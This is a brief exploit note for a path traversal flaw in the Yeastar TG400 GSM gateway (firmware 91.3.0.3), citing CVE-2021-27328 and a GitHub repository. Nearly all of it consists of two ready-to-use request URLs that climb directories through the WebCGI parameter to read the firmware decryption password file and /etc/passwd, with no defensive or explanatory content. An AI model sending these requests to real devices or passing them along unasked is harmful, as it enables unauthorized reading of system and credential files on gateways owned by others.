Path Traversal on Yeastar TG400 GSM Gateway - 91.3.0.3 To get firmware decrypting password: http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../bin/firmware_detect To get /etc/paswd: http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../etc/passwd https://github.com/SQSamir/CVE-2021-27328